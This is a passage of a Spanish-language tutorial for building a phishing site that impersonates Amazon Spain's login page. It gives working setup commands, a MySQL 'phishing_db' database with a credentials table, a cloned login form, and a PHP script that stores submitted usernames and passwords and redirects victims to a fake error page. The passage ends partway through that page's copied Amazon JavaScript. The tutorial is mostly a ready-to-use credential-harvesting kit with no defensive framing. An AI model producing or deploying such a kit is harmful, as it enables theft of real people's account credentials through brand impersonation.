Por lo que nos dirigimos a la siguiente ubicacion para borrar los archivos creados por defecto del apache2...

cd /var/www/html/
rm *

o

rm /var/www/html/*

MySQL [Configuracion de captacion de credenciales]

Instalaremos y configuraremos una base de datos en mysql para que cuando inserte las credenciales en la pagina de phishing del login se envien automaticamente a la base de datos que crearemos en mysql...

systemctl start mysqld
systemctl enable mysqld

Una vez instalado mysql nos meteremos dentro del entorno para crear la base de datos con las credenciales por defecto de mysql...

mysql -u root -p

Nos pedira una contraseña, pero lo dejaremos vacio y le daremos a enter...

Una vez dentro haremos lo siguiente...

-- Crear base de datos --

CREATE DATABASE phishing_db;

-- Usar la base de datos --

USE phishing_db;

-- Crear tabla credentials --

CREATE TABLE credentials (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(255) NOT NULL,
    password VARCHAR(255) NOT NULL
);

Ahora configuraremos el usuario root para que no surja ningun problema a la hora de configurar el .php para que se escriban los datos en mysql...

-- Cambiar la contraseña del usuario root --

ALTER USER 'root'@'localhost' IDENTIFIED BY 'root';

-- Conceder todos los privilegios al usuario root --

GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT OPTION;

-- Actualizar los privilegios --

FLUSH PRIVILEGES;

Una vez configurado todo saldremos de la base de datos del entorno de mysql...

exit

Configuracion de la pagina web phishing y captacion de datos en PHP

Nos vamos a la siguiente ubicacion para crear toda la estructura...

cd /var/www/html

Pagina Web phishing:

Lo llamaremos index.php para que sea lo primero que se vea cuando le redirija el link...

<!doctype html>

<html class="a-no-js" data-19ax5a9jf="dingo">

  

<head>

    <link rel="icon" href="https://static.vecteezy.com/system/resources/previews/014/018/561/non_2x/amazon-logo-on-transparent-background-free-vector.jpg" type="image/x-icon">

    <title dir="ltr">Iniciar sesión en Amazon</title>

    <link rel="stylesheet" href="https://images-eu.ssl-images-amazon.com/images/I/61A6IErPNXL._RC|11Fd9tJOdtL.css,11tfezETfFL.css,31Q3id-QR0L.css,31U9HrBLKmL.css_.css?AUIClients/AmazonUI#us.not-trident" />

    <link rel="stylesheet" href="https://images-eu.ssl-images-amazon.com/images/I/01SdjaY0ZsL._RC|31jdWD+JB+L.css,51a-Srr-vTL.css_.css?AUIClients/AuthenticationPortalAssets" />

    <link rel="stylesheet" href="https://images-eu.ssl-images-amazon.com/images/I/21N2V6fmOuL.css?AUIClients/CVFAssets" />

</head>

  

<body class="auth-no-skin ap-locale-es_ES a-m-us a-aui_72554-c a-aui_accordion_a11y_role_354025-c a-aui_killswitch_csa_logger_372963-c a-aui_pci_risk_banner_210084-c a-aui_preload_261698-c a-aui_rel_noreferrer_noopener_309527-c a-aui_template_weblab_cache_333406-c a-aui_tnr_v2_180836-c">

    <script>

        window.ue && ue.count && ue.count('CSMLibrarySize', 18524)

    </script>

    <div id="a-page">

        <script type="a-state" data-a-state="{&quot;key&quot;:&quot;a-wlab-states&quot;}">{}</script>

        <div class="a-section a-padding-medium auth-workflow">

            <div class="a-section a-spacing-none auth-navbar">

                <div class="a-section a-spacing-medium a-text-center">

                    <a class="a-link-nav-icon" href="/ref=ap_frn_logo">

                        <i class="a-icon a-icon-logo" role="img" aria-label="Amazon"></i>

                        <i class="a-icon a-icon-domain-es a-icon-domain" role="presentation"></i>

                    </a>

                </div>

            </div>

            <div id="authportal-center-section" class="a-section">

                <div id="authportal-main-section" class="a-section">

                    <div class="a-section a-spacing-base auth-pagelet-container">

                        <div class="a-section auth-pagelet-container">

                            <!-- Establecer variables de SSO de dominio cruzado para hacer llamadas Ajax al dominio central de identidad -->

                            <div class="a-section a-spacing-base">

                                <div class="a-section">

                                    <form name="signIn" method="post" novalidate action="process.php" class="a-spacing-none">

                                        <div class="a-section">

                                            <div class="a-box">

                                                <div class="a-box-inner a-padding-extra-large">

                                                    <h1 class="a-spacing-small">

                                                        Iniciar sesión

                                                    </h1>

                                                    <!-- Elemento opcional de subencabezado -->

                                                    <div class="a-row a-spacing-base">

                                                        <label for="ap_email" class="a-form-label">

                                                            Dirección de e-mail o número de teléfono móvil

                                                        </label>

                                                        <input type="text" maxlength="128" id="username" autocomplete="webauthn" name="username" tabindex="1" class="a-input-text a-span12 auth-autofocus auth-required-field" aria-describedby="Indica tu dirección de e-mail o teléfono móvil" aria-required="true" /><br><br>

                                                        <div id="auth-email-missing-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-mini" role="alert">

                                                            <div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i>

                                                                <div class="a-alert-content">

                                                                    Indica tu dirección de e-mail o teléfono móvil

                                                                </div>

                                                            </div>

                                                        </div>

                                                    </div>

                                                    <input type="hidden" name="create" value="0" />

                                                    <div class="a-section a-spacing-large">

                                                        <div class="a-row">

                                                            <div class="a-column a-span5">

                                                                <label for="ap_password" class="a-form-label">

                                                                    Contraseña

                                                                </label>

                                                            </div>

                                                            <div class="a-column a-span7 a-text-right a-span-last">

                                                                <a id="auth-fpp-link-bottom" class="a-link-normal" href="https://www.amazon.es/ap/forgotpassword?showRememberMe=true&amp;openid.pape.max_auth_age=0&amp;openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;webAuthnChallengeIdForAutofill=n87wpIzpvHZ-RFvxBYUoEw24O1NmT675%3AEU&amp;webAuthnGetParametersForAutofill=eyJycElkIjoiYW1hem9uLmVzIiwiY2hhbGxlbmdlIjoibjg3d3BJenB2SFotUkZ2eEJZVW9FdzI0TzFObVQ2NzUiLCJ0aW1lb3V0Ijo5MDAwMDAsImFsbG93Q3JlZGVudGlhbHMiOm51bGwsIm1lZGlhdGlvbiI6ImNvbmRpdGlvbmFsIiwidXNlclZlcmlmaWNhdGlvbiI6InByZWZlcnJlZCJ9&amp;language=es_ES&amp;pageId=amzn_retail_yourorders_es&amp;openid.return_to=https%3A%2F%2Fwww.amazon.es%2Fyour-orders%2Forders%3Fref_%3Dya_d_c_yo&amp;prevRID=J8GEN1NJCTYY482HY48D&amp;openid.assoc_handle=amzn_retail_yourorders_es&amp;openid.mode=checkid_setup&amp;prepopulatedLoginId=&amp;failedSignInCount=0&amp;openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0">

                                                                    ¿Has olvidado la contraseña?

                                                                </a>

                                                            </div>

                                                        </div>

                                                        <input type="password" maxlength="1024" id="password" autocomplete="current-password" name="password" tabindex="2" class="a-input-text a-span12 auth-required-field" aria-describedby="Introduce tu contraseña" aria-required="true" /><br><br>

                                                        <div id="auth-password-missing-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-mini" role="alert">

                                                            <div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i>

                                                                <div class="a-alert-content">

                                                                    Introduce tu contraseña

                                                                </div>

                                                            </div>

                                                        </div>

                                                    </div>

                                                    <div class="a-section a-spacing-extra-large">

                                                        <span class="a-button a-button-span12 a-button-primary auth-disable-button-on-submit"><span class="a-button-inner"><input id="signInSubmit" tabindex="5" class="a-button-input" type="submit" /><span class="a-button-text" aria-hidden="true">

                                                                    Iniciar sesión

                                                                </span></span></span>

                                                        <div id="legalTextRow" class="a-row a-spacing-top-medium a-size-small">

                                                            Al continuar, aceptas las <a href="/gp/help/customer/display.html/ref=ap_signin_notification_condition_of_use?ie=UTF8&amp;nodeId=200545940">Condiciones de uso y venta</a> de Amazon. Consulta nuestro <a href="/gp/help/customer/display.html/ref=ap_signin_notification_privacy_notice?ie=UTF8&amp;nodeId=200545460">Aviso de privacidad</a>, nuestro <a href="/gp/help/customer/display.html/?nodeId=201890250">Aviso sobre cookies</a> y nuestro <a href="/gp/help/customer/display.html?nodeId=201909150">Aviso sobre anuncios basados en intereses</a>.

                                                        </div>

                                                        <script>

                                                            function cf() {

                                                                if (typeof window.uet === 'function') {

                                                                    uet('cf');

                                                                }

                                                                if (window.embedNotification &&

                                                                    typeof window.embedNotification.onCF === 'function') {

                                                                    embedNotification.onCF();

                                                                }

                                                            }

                                                        </script>

                                                        <script type="text/javascript">

                                                            cf()

                                                        </script>

                                                        <div class="a-row a-spacing-top-medium">

                                                            <div class="a-section a-text-left">

                                                                <label for="auth-remember-me" class="a-form-label">

                                                                    <div data-a-input-name="rememberMe" class="a-checkbox"><label><input type="checkbox" name="rememberMe" value="true" /><i class="a-icon a-icon-checkbox"></i><span class="a-label a-checkbox-label">

                                                                                Recuérdame.

                                                                                <span class="a-declarative" data-action="a-popover" data-csa-c-type="widget" data-csa-c-func-deps="aui-da-a-popover" data-a-popover="{&quot;closeButtonLabel&quot;:&quot;Cerrar&quot;,&quot;activate&quot;:&quot;onclick&quot;,&quot;header&quot;:&quot;Casilla \&quot;Recuérdame\&quot;&quot;,&quot;inlineContent&quot;:&quot;\u003cp&gt;Si seleccionas \&quot;Recuérdame\&quot;, se reduce el número de veces que se te pedirá que te identifiques en este dispositivo.\u003c\/p&gt;\n\u003cp&gt;Para mantener la seguridad de tu cuenta, utiliza esta opción sólo en tus dispositivos personales.\u003c\/p&gt;&quot;}">

                                                                                    <a id="remember_me_learn_more_link" href="javascript:void(0)" role="button" class="a-popover-trigger a-declarative">

                                                                                        Detalles

                                                                                        <i class="a-icon a-icon-popover"></i></a>

                                                                                </span>

                                                                            </span></label></div>

                                                                </label>

                                                            </div>

                                                        </div>

                                                    </div>

                                                    <div class="a-divider a-divider-break">

                                                        <h5 aria-level="5">¿Eres nuevo en Amazon?</h5>

                                                    </div>

                                                    <span id="auth-create-account-link" class="a-button a-button-span12 a-button-base"><span class="a-button-inner"><a id="createAccountSubmit" href="https://www.amazon.es/ap/register?showRememberMe=true&amp;openid.pape.max_auth_age=0&amp;openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;webAuthnChallengeIdForAutofill=n87wpIzpvHZ-RFvxBYUoEw24O1NmT675%3AEU&amp;webAuthnGetParametersForAutofill=eyJycElkIjoiYW1hem9uLmVzIiwiY2hhbGxlbmdlIjoibjg3d3BJenB2SFotUkZ2eEJZVW9FdzI0TzFObVQ2NzUiLCJ0aW1lb3V0Ijo5MDAwMDAsImFsbG93Q3JlZGVudGlhbHMiOm51bGwsIm1lZGlhdGlvbiI6ImNvbmRpdGlvbmFsIiwidXNlclZlcmlmaWNhdGlvbiI6InByZWZlcnJlZCJ9&amp;language=es_ES&amp;pageId=amzn_retail_yourorders_es&amp;openid.return_to=https%3A%2F%2Fwww.amazon.es%2Fyour-orders%2Forders%3Fref_%3Dya_d_c_yo&amp;prevRID=J8GEN1NJCTYY482HY48D&amp;openid.assoc_handle=amzn_retail_yourorders_es&amp;openid.mode=checkid_setup&amp;prepopulatedLoginId=&amp;failedSignInCount=0&amp;openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&amp;openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0" class="a-button-text">

                                                                Crea tu cuenta de Amazon

                                                            </a></span></span>

                                                </div>

                                            </div>

                                        </div>

                                    </form>

                                </div>

                            </div>

                        </div>

                    </div>

                </div>

                <div id="right-2">

                </div>

                <div class="a-section a-spacing-top-extra-large auth-footer">

                    <div class="a-divider a-divider-section">

                        <div class="a-divider-inner"></div>

                    </div>

                    <div class="a-section a-spacing-small a-text-center a-size-mini">

                        <span class="auth-footer-seperator"></span>

  

                        <ul>

                            <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">

                                <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="/gp/help/customer/display.html/ref=ap_desktop_footer_cou?ie=UTF8&amp;nodeId=200545940">

                                    Condiciones de uso

                                </a>

                                <span class="auth-footer-seperator"></span>

                            </li>

                            <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">

                                <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="/gp/help/customer/display.html/ref=ap_desktop_footer_privacy_notice?ie=UTF8&amp;nodeId=200545460">

                                    Aviso de privacidad

                                </a>

                                <span class="auth-footer-seperator"></span>

                            </li>

                            <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">

                                <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="/help">

                                    Ayuda

                                </a>

                                <span class="auth-footer-seperator"></span>

                            </li>

                            <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">

                                <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="/gp/help/customer/display.html/?nodeId=201890250">

                                    Cookies

                                </a>

                                <span class="auth-footer-seperator"></span>

                            </li>

                            <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">

                                <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="/gp/help/customer/display.html/?nodeId=201909150">

                                    Publicidad basada en intereses

                                </a>

                                <span class="auth-footer-seperator"></span>

                            </li>

                        </ul>

                    </div>

                    <div class="a-section a-spacing-none a-text-center">

                        <span class="a-size-mini a-color-secondary">

                            © 1996-2024, Amazon.com, Inc. o sus afiliados

                        </span>

                    </div>

                </div>

            </div>

            <div id="auth-external-javascript" class="auth-external-javascript" data-external-javascripts="">

            </div>

            <noscript>

                <img height="1" width="1" style='display:none;visibility:hidden;' src='//fls-eu.amazon.com/1/batch/1/OP/A1RKKUPIHCS9HS:258-2815425-3127959:J8GEN1NJCTYY482HY48D$uedata=s:%2Fap%2Fuedata%3Fnoscript%26id%3DJ8GEN1NJCTYY482HY48D:0' alt="" />

            </noscript>

            <script>

                window.ue && ue.count && ue.count('CSMLibrarySize', 48885)

            </script>

        </div>

    </div>

</body>

  

</html>

Perspectiva:

Una vez tengamos creado el login y el formulario con el action="process.php" que le programamos para que cuando inicies sesion redirija a ese process.php que ahora crearemos, crearemos el process.php el cual sera el que capte las credenciales y las escriba en mysql a parte de que te redirija a la vez a una pagina de error de la siguiente forma...

process.php

<?php

// Configuración de la base de datos

$servername = "localhost";

$db_username = "root";

$db_password = "root";  // Contraseña actualizada

$dbname = "phishing_db";

  

// Crear conexión

$conn = new mysqli($servername, $db_username, $db_password, $dbname);

  

// Verificar conexión

if ($conn->connect_error) {

    die("Conexión fallida: " . $conn->connect_error);

}

  

// Obtener las credenciales del formulario

$user = $_POST['username'];

$pass = $_POST['password'];

  

// Validar que los datos no estén vacíos

if (empty($user) || empty($pass)) {

    die("Usuario o contraseña no proporcionados.");

}

  

// Preparar y ejecutar la consulta

$stmt = $conn->prepare("INSERT INTO credentials (username, password) VALUES (?, ?)");

if ($stmt === false) {

    die("Preparación de consulta fallida: " . $conn->error);

}

  

$stmt->bind_param("ss", $user, $pass);

if (!$stmt->execute()) {

    die("Ejecución de consulta fallida: " . $stmt->error);

}

  

// Cerrar la declaración y la conexión

$stmt->close();

$conn->close();

  

// Redirigir a una página de error falso o una página legítima

header("Location: index_error.php");  // Cambia esta URL a una URL de error o de redirección legítima

exit();

?>

Aqui configuramos ya el archivo con la base de datos en mysql para que se escriba en esa base de datos de esa tabla metiendose con el usuario root con la contraseña root y que te redirija al archivo index_error.php el cual crearemos ahora mismo...

index_error.php

<!DOCTYPE html>

<head>
    <link rel="icon" href="https://static.vecteezy.com/system/resources/previews/014/018/561/non_2x/amazon-logo-on-transparent-background-free-vector.jpg" type="image/x-icon">
    <script type='text/javascript'>
        var ue_t0 = ue_t0 || +new Date();
    </script>
    <script type='text/javascript'>
        window.ue_ihb = (window.ue_ihb || window.ueinit || 0) + 1;
        if (window.ue_ihb === 1) {

            var ue_csm = window,
                ue_hob = +new Date();
            (function(d) {
                var e = d.ue = d.ue || {},
                    f = Date.now || function() {
                        return +new Date
                    };
                e.d = function(b) {
                    return f() - (b ? 0 : d.ue_t0)
                };
                e.stub = function(b, a) {
                    if (!b[a]) {
                        var c = [];
                        b[a] = function() {
                            c.push([c.slice.call(arguments), e.d(), d.ue_id])
                        };
                        b[a].replay = function(b) {
                            for (var a; a = c.shift();) b(a[0], a[1], a[2])
                        };
                        b[a].isStub = 1
                    }
                };
                e.exec = function(b, a) {
                    return function() {
                        try {
                            return b.apply(this, arguments)
                        } catch (c) {
                            ueLogError(c, {
                                attribution: a || "undefined",
                                logLevel: "WARN"
                            })
                        }
                    }
                }
            })(ue_csm);


            var ue_err_chan = 'jserr-rw';
            (function(d, e) {
                function h(f, b) {
                    if (!(a.ec > a.mxe) && f) {
                        a.ter.push(f);
                        b = b || {};
                        var c = f.logLevel || b.logLevel;
                        c && c !== k && c !== m && c !== n && c !== p || a.ec++;
                        c && c != k || a.ecf++;
                        b.pageURL = "" + (e.location ? e.location.href : "");
                        b.logLevel = c;
                        b.attribution = f.attribution || b.attribution;
                        a.erl.push({
                            ex: f,
                            info: b
                        })
                    }
                }

                function l(a, b, c, e, g) {
                    d.ueLogError({
                        m: a,
                        f: b,
                        l: c,
                        c: "" + e,
                        err: g,
                        fromOnError: 1,
                        args: arguments
                    }, g ? {
                        attribution: g.attribution,
                        logLevel: g.logLevel
                    } : void 0);
                    return !1
                }
                var k = "FATAL",
                    m = "ERROR",
                    n = "WARN",
                    p = "DOWNGRADED",
                    a = {
                        ec: 0,
                        ecf: 0,
                        pec: 0,
                        ts: 0,
                        erl: [],
                        ter: [],
                        buffer: [],
                        mxe: 50,
                        startTimer: function() {
                            a.ts++;
                            setInterval(function() {
                                d.ue && a.pec < a.ec && d.uex("at");
                                a.pec = a.ec
                            }, 1E4)
                        }
                    };
                l.skipTrace = 1;
                h.skipTrace = 1;
                h.isStub = 1;
                d.ueLogError = h;
                d.ue_err = a;
                e.onerror = l
            })(ue_csm, window);


            var ue_id = 'KE82YVBED2PEDHPE6KTZ',
                ue_url = '/ap/uedata',
                ue_navtiming = 1,
                ue_mid = 'A1RKKUPIHCS9HS',
                ue_sid = '260-7076577-0538233',
                ue_sn = 'www.amazon.es',
                ue_furl = 'fls-eu.amazon.com',
                ue_surl = 'https://unagi-eu.amazon.com/1/events/com.amazon.csm.nexusclient.prod',
                ue_int = 0,
                ue_fcsn = 1,
                ue_urt = 3,
                ue_rpl_ns = 'cel-rpl',
                ue_ddq = 1,
                ue_fpf = '//fls-eu.amazon.com/1/batch/1/OP/A1RKKUPIHCS9HS:260-7076577-0538233:KE82YVBED2PEDHPE6KTZ$uedata=s:',
                ue_sbuimp = 1,
                ue_ibft = 0,
                ue_sswmts = 0,
                ue_jsmtf = 0,
                ue_fnt = 0,
                ue_lpsi = 6000,
                ue_no_counters = 0,
                ue_lob = '0',
                ue_sjslob = 0,

                ue_swi = 1;
            var ue_viz = function() {
                (function(b, f, d) {
                    function g() {
                        return (!(p in d) || 0 < d[p]) && (!(q in d) || 0 < d[q])
                    }

                    function h(c) {
                        if (b.ue.viz.length < w && !r) {
                            var a = c.type;
                            c = c.originalEvent;
                            /^focus./.test(a) && c && (c.toElement || c.fromElement || c.relatedTarget) || (a = g() ? f[s] || ("blur" == a || "focusout" == a ? t : u) : t, b.ue.viz.push(a + ":" + (+new Date - b.ue.t0)), a == u && (b.ue.isl && x("at"), r = 1))
                        }
                    }
                    for (var r = 0, x = b.uex, a, k, l, s, v = ["", "webkit", "o", "ms", "moz"], e = 0, m = 1, u = "visible", t = "hidden", p = "innerWidth", q = "innerHeight", w = 20, n = 0; n < v.length && !e; n++)
                        if (a =
                            v[n], k = (a ? a + "H" : "h") + "idden", e = "boolean" == typeof f[k]) l = a + "visibilitychange", s = (a ? a + "V" : "v") + "isibilityState";
                    h({});
                    e && f.addEventListener(l, h, 0);
                    m = g() ? 1 : 0;
                    d.addEventListener("resize", function() {
                        var a = g() ? 1 : 0;
                        m !== a && (m = a, h({}))
                    }, {
                        passive: !0
                    });
                    b.ue && e && (b.ue.pageViz = {
                        event: l,
                        propHid: k
                    })
                })(ue_csm, ue_csm.document, ue_csm.window)
            };

            (function(d, h, N) {
                function H(a) {
                    return a && a.replace && a.replace(/^\s+|\s+$/g, "")
                }

                function u(a) {
                    return "undefined" === typeof a
                }

                function B(a, b) {
                    for (var c in b) b[v](c) && (a[c] = b[c])
                }

                function I(a) {
                    try {
                        var b = N.cookie.match(RegExp("(^| )" + a + "=([^;]+)"));
                        if (b) return b[2].trim()
                    } catch (c) {}
                }

                function O(k, b, c) {
                    var q = (x || {}).type;
                    if ("device" !== c || 2 !== q && 1 !== q) k && (d.ue_id = a.id = a.rid = k, w && (w = w.replace(/((.*?:){2})(\w+)/, function(a, b) {
                        return b + k
                    })), D && (e("id", D, k), D = 0)), b && (w && (w = w.replace(/(.*?:)(\w|-)+/, function(a,
                        c) {
                        return c + b
                    })), d.ue_sid = b), c && a.tag("page-source:" + c), d.ue_fpf = w
                }

                function P() {
                    var a = {};
                    return function(b) {
                        b && (a[b] = 1);
                        b = [];
                        for (var c in a) a[v](c) && b.push(c);
                        return b
                    }
                }

                function y(d, b, c, q) {
                    q = q || +new E;
                    var g, m;
                    if (b || u(c)) {
                        if (d)
                            for (m in g = b ? e("t", b) || e("t", b, {}) : a.t, g[d] = q, c) c[v](m) && e(m, b, c[m]);
                        return q
                    }
                }

                function e(d, b, c) {
                    var e = b && b != a.id ? a.sc[b] : a;
                    e || (e = a.sc[b] = {});
                    "id" === d && c && (Q = 1);
                    return e[d] = c || e[d]
                }

                function R(d, b, c, e, g) {
                    c = "on" + c;
                    var m = b[c];
                    "function" === typeof m ? d && (a.h[d] = m) : m = function() {};
                    b[c] =
                        function(a) {
                            g ? (e(a), m(a)) : (m(a), e(a))
                        };
                    b[c] && (b[c].isUeh = 1)
                }

                function S(k, b, c, q) {
                    function p(b, c) {
                        var d = [b],
                            f = 0,
                            g = {},
                            m, h;
                        c ? (d.push("m=1"), g[c] = 1) : g = a.sc;
                        for (h in g)
                            if (g[v](h)) {
                                var q = e("wb", h),
                                    p = e("t", h) || {},
                                    n = e("t0", h) || a.t0,
                                    l;
                                if (c || 2 == q) {
                                    q = q ? f++ : "";
                                    d.push("sc" + q + "=" + h);
                                    for (l in p) u(p[l]) || null === p[l] || d.push(l + q + "=" + (p[l] - n));
                                    d.push("t" + q + "=" + p[k]);
                                    if (e("ctb", h) || e("wb", h)) m = 1
                                }
                            }! J && m && d.push("ctb=1");
                        return d.join("&")
                    }

                    function m(b, c, f, e, g) {
                        if (b) {
                            var k = d.ue_err;
                            d.ue_url && !e && !g && b && 0 < b.length && (e =
                                new Image, a.iel.push(e), e.src = b, a.count && a.count("postbackImageSize", b.length));
                            w ? (g = h.encodeURIComponent) && b && (e = new Image, b = "" + d.ue_fpf + g(b) + ":" + (+new E - d.ue_t0), a.iel.push(e), e.src = b) : a.log && (a.log(b, "uedata", {
                                n: 1
                            }), a.ielf.push(b));
                            k && !k.ts && k.startTimer();
                            a.b && (k = a.b, a.b = "", m(k, c, f, 1))
                        }
                    }

                    function A(b) {
                        var c = x ? x.type : F,
                            d = 2 == c || a.isBFonMshop,
                            c = c && !d,
                            f = a.bfini;
                        if (!Q || a.isBFCache) f && 1 < f && (b += "&bfform=1", c || (a.isBFT = f - 1)), d && (b += "&bfnt=1", a.isBFT = a.isBFT || 1), a.ssw && a.isBFT && (a.isBFonMshop && (a.isNRBF =
                            0), u(a.isNRBF) && (d = a.ssw(a.oid), d.e || u(d.val) || (a.isNRBF = 1 < d.val ? 0 : 1)), u(a.isNRBF) || (b += "&nrbf=" + a.isNRBF)), a.isBFT && !a.isNRBF && (b += "&bft=" + a.isBFT);
                        return b
                    }
                    if (!a.paused && (b || u(c))) {
                        for (var l in c) c[v](l) && e(l, b, c[l]);
                        a.isBFonMshop || y("pc", b, c);
                        l = "ld" === k && b && e("wb", b);
                        var s = e("id", b) || a.id;
                        l || s === a.oid || (D = b, ba(s, (e("t", b) || {}).tc || +e("t0", b), +e("t0", b)));
                        var s = e("id", b) || a.id,
                            t = e("id2", b),
                            f = a.url + "?" + k + "&v=" + a.v + "&id=" + s,
                            J = e("ctb", b) || e("wb", b),
                            z;
                        J && (f += "&ctb=" + J);
                        t && (f += "&id2=" + t);
                        1 < d.ueinit &&
                            (f += "&ic=" + d.ueinit);
                        if (!("ld" != k && "ul" != k || b && b != s)) {
                            if ("ld" == k) {
                                try {
                                    h[K] && h[K].isUeh && (h[K] = null)
                                } catch (I) {}
                                if (h.chrome)
                                    for (t = 0; t < L.length; t++) T(G, L[t]);
                                (t = N.ue_backdetect) && t.ue_back && t.ue_back.value++;
                                d._uess && (z = d._uess());
                                a.isl = 1
                            }
                            a._bf && (f += "&bf=" + a._bf());
                            d.ue_navtiming && g && (e("ctb", s, "1"), a.isBFonMshop || y("tc", F, F, M));
                            !C || a.isBFonMshop || U || (g && B(a.t, {
                                na_: g.navigationStart,
                                ul_: g.unloadEventStart,
                                _ul: g.unloadEventEnd,
                                rd_: g.redirectStart,
                                _rd: g.redirectEnd,
                                fe_: g.fetchStart,
                                lk_: g.domainLookupStart,
                                _lk: g.domainLookupEnd,
                                co_: g.connectStart,
                                _co: g.connectEnd,
                                sc_: g.secureConnectionStart,
                                rq_: g.requestStart,
                                rs_: g.responseStart,
                                _rs: g.responseEnd,
                                dl_: g.domLoading,
                                di_: g.domInteractive,
                                de_: g.domContentLoadedEventStart,
                                _de: g.domContentLoadedEventEnd,
                                _dc: g.domComplete,
                                ld_: g.loadEventStart,
                                _ld: g.loadEventEnd,
                                ntd: ("function" !== typeof C.now || u(M) ? 0 : new E(M + C.now()) - new E) + a.t0
                            }), x && B(a.t, {
                                ty: x.type + a.t0,
                                rc: x.redirectCount + a.t0
                            }), U = 1);
                            a.isBFonMshop || B(a.t, {
                                hob: d.ue_hob,
                                hoe: d.ue_hoe
                            });
                            a.ifr && (f += "&ifr=1")
                        }
                        y(k,
                            b, c, q);
                        var r, n;
                        l || b && b !== s || ca(b);
                        (c = d.ue_mbl) && c.cnt && !l && (f += c.cnt());
                        l ? e("wb", b, 2) : "ld" == k && (a.lid = H(s));
                        for (r in a.sc)
                            if (1 == e("wb", r)) break;
                        if (l) {
                            if (a.s) return;
                            f = p(f, null)
                        } else c = p(f, null), c != f && (c = A(c), a.b = c), z && (f += z), f = p(f, b || a.id);
                        f = A(f);
                        if (a.b || l)
                            for (r in a.sc) 2 == e("wb", r) && delete a.sc[r];
                        z = 0;
                        a._rt && (f += "&rt=" + a._rt());
                        c = h.csa;
                        if (!l && c)
                            for (n in r = e("t", b) || {}, c = c("PageTiming"), r) r[v](n) && c("mark", da[n] || n, r[n]);
                        l || (a.s = 0, (n = d.ue_err) && 0 < n.ec && n.pec < n.ec && (n.pec = n.ec, f += "&ec=" + n.ec + "&ecf=" +
                            n.ecf), z = e("ctb", b), "ld" !== k || b || a.markers ? a.markers && a.isl && !l && b && B(a.markers, e("t", b)) : (a.markers = {}, B(a.markers, e("t", b))), e("t", b, {}));
                        a.tag && a.tag().length && (f += "&csmtags=" + a.tag().join("|"), a.tag = P());
                        n = a.viz || [];
                        (r = n.length) && (f += "&viz=" + n.splice(0, r).join("|"));
                        u(d.ue_pty) || (f += "&pty=" + d.ue_pty + "&spty=" + d.ue_spty + "&pti=" + d.ue_pti);
                        a.tabid && (f += "&tid=" + a.tabid);
                        a.aftb && (f += "&aftb=1");
                        !a._ui || b && b != s || (f += a._ui());
                        f += "&lob=" + (d.ue_lob || "0");
                        a.a = f;
                        m(f, k, z, l, b && "string" === typeof b && -1 !== b.indexOf("csa:"))
                    }
                }

                function ca(a) {
                    var b = h.ue_csm_markers || {},
                        c;
                    for (c in b) b[v](c) && y(c, a, F, b[c])
                }

                function A(a, b, c) {
                    c = c || h;
                    if (c[V]) c[V](a, b, !1);
                    else if (c[W]) c[W]("on" + a, b)
                }

                function T(a, b, c) {
                    c = c || h;
                    if (c[X]) c[X](a, b, !1);
                    else if (c[Y]) c[Y]("on" + a, b)
                }

                function Z() {
                    function a() {
                        d.onUl()
                    }

                    function b(a) {
                        return function() {
                            c[a] || (c[a] = 1, S(a))
                        }
                    }
                    var c = {},
                        e, g;
                    d.onLd = b("ld");
                    d.onLdEnd = b("ld");
                    d.onUl = b("ul");
                    e = {
                        stop: b("os")
                    };
                    h.chrome ? (A(G, a), L.push(a)) : e[G] = d.onUl;
                    for (g in e) e[v](g) && R(0, h, g, e[g]);
                    d.ue_viz && ue_viz();
                    A("load", d.onLd);
                    y("ue")
                }

                function ba(e, b, c) {
                    var g = d.ue_mbl,
                        p = h.csa,
                        m = p && p("SPA"),
                        p = p && p("PageTiming");
                    g && g.ajax && g.ajax(b, c);
                    m && p && (m("newPage", {
                        requestId: e,
                        transitionType: "soft"
                    }), p("mark", "transitionStart", b));
                    a.tag("ajax-transition")
                }
                d.ueinit = (d.ueinit || 0) + 1;
                var a = d.ue = d.ue || {};
                a.t0 = h.aPageStart || d.ue_t0;
                a.id = d.ue_id;
                a.url = d.ue_url;
                a.rid = d.ue_id;
                a.a = "";
                a.b = "";
                a.h = {};
                a.s = 1;
                a.t = {};
                a.sc = {};
                a.iel = [];
                a.ielf = [];
                a.viz = [];
                a.v = "0.286992.0";
                a.paused = !1;
                var v = "hasOwnProperty",
                    G = "beforeunload",
                    K = "on" + G,
                    V = "addEventListener",
                    X = "removeEventListener",
                    W = "attachEvent",
                    Y = "detachEvent",
                    da = {
                        cf: "criticalFeature",
                        af: "aboveTheFold",
                        fn: "functional",
                        fp: "firstPaint",
                        fcp: "firstContentfulPaint",
                        bb: "bodyBegin",
                        be: "bodyEnd",
                        ld: "loaded"
                    },
                    E = h.Date,
                    C = h.performance || h.webkitPerformance,
                    g = (C || {}).timing,
                    x = (C || {}).navigation,
                    M = (g || {}).navigationStart,
                    w = d.ue_fpf,
                    Q = 0,
                    U = 0,
                    L = [],
                    D = 0,
                    F;
                a.oid = H(a.id);
                a.lid = H(a.id);
                a._t0 = a.t0;
                a.tag = P();
